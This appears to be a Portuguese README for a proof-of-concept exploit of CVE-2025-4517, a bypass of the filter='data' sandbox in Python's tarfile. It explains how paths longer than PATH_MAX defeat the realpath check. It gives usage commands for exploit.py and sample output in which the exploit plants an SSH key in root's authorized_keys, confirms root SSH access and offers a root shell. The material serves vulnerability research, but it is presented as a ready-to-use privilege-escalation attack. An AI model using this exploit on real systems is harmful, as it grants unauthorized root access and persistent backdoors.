
Exploração de prova de conceito para CVE-2025-4517, uma vulnerabilidade de path traversal no sandbox filter='data' do tarfile do Python, permitindo escrita arbitrária de arquivos fora do diretório de extração via cadeias de symlink criadas.
filter="data" do tarfile do Python (PoC)Vulnerabilidade de path traversal no módulo
tarfiledo Python afetando as versões 3.8.0 a 3.13.1. A sandboxfilter="data"— destinada a impedir extrações inseguras — pode ser contornada criando caminhos que excedemPATH_MAX(4096 bytes), fazendo com queos.path.realpath()pare silenciosamente de resolver symlinks. A verificação de segurança vê um caminho aparentemente seguro enquanto o kernel resolve o caminho real, permitindo gravações fora do diretório de extração. Este PoC abusa da bypass para escrever uma chave pública SSH em/root/.ssh/authorized_keys.
PATH_MAX.filter="data" chama os.path.realpath() para validar cada caminho — mas em PATH_MAX ele para de resolver e vê o caminho como ainda dentro do diretório de staging. A verificação passa./root/.ssh/authorized_keys.ssh-keygen disponível (ou forneça sua própria chave pública com -k)sudo para acionar a extração vulnerável# Gera um novo par de chaves automaticamente
python3 exploit.py
# Usa uma chave pública existente
python3 exploit.py -k ~/.ssh/id_ed25519.pub
Exemplo:
$ python3 exploit.py
[+] Par de chaves SSH gerado: /tmp/cve_2025_4517_key
[*] Criando tar de exploit...
[+] Tar de exploit criado: /tmp/cve_2025_4517_exploit.tar
[*] Implantando exploit em: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit implantado com sucesso
[*] Acionando extração via script vulnerável...
[+] Extração concluída
[*] Verificando exploit via SSH...
[+] SUCESSO! SSH como root confirmado: uid=0(root) gid=0(root) groups=0(root)
============================================================
[+] EXPLORAÇÃO BEM-SUCEDIDA!
[+] SSH no root com: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================
[?] Abrir shell root agora? (s/n):